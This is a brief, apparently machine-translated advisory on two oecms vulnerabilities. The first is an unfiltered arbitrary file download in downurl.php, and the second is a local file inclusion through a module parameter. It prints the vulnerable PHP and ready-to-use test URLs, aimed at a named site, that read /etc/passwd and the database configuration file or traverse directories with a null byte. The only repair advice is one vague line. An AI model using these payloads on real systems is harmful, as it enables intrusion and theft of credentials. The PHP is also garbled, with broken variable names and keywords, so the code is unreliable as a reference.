Multiple oecms vulnerabilities and repair methods

Arbitrary File Download
Vulnerability file: downurl. php
Vulnerability code:
<? Php
$ Url = isset ($ _ GET ['url'])? Trim ($ _ GET ['url']): "";
Header ("Content-Type: application/force-download ");
Header ("Content-Disposition: attachment; filename =". basename ($ url ));
Readfile ($ url );
?>
$ The url is passed into the download without any filtering, causing security risks!
Test method:
Read Linux passwd file: http://www.phpcoo.com/downurl.php? Url =.../../etc/passwd
Read the website database configuration file: http://www.phpcoo.com/downurl.php? Url = source/conf/db. inc. php
Local File Inclusion Vulnerability:
Vulnerability files: Common
Vulnerability code:
$ Cacheid = md5 ($ _ SERVER ["REQUEST_URI"]);

If (! $ Tpl-> isCached (INDEX_TEMPLATE. "product _". $ modd. ".". $ tplext, $ cacheid )){

Require_once './source/module/app. php ';

Require_once './source/widget/product _'. $ modd. '. php ';

}
$ Modd variables can be controlled to directly accept parameters passed by users, but they are not filtered in depth, resulting in local file inclusion!
Test method:
Http://phpcoo.com/?path }? Mod =.../../1.php% 00. The require_once error is displayed. You only need to bypass it and the local inclusion is successful!
Repair Method:
Strengthen filtering and strictly filter any parameters passed by users!

 
Let's start with these !!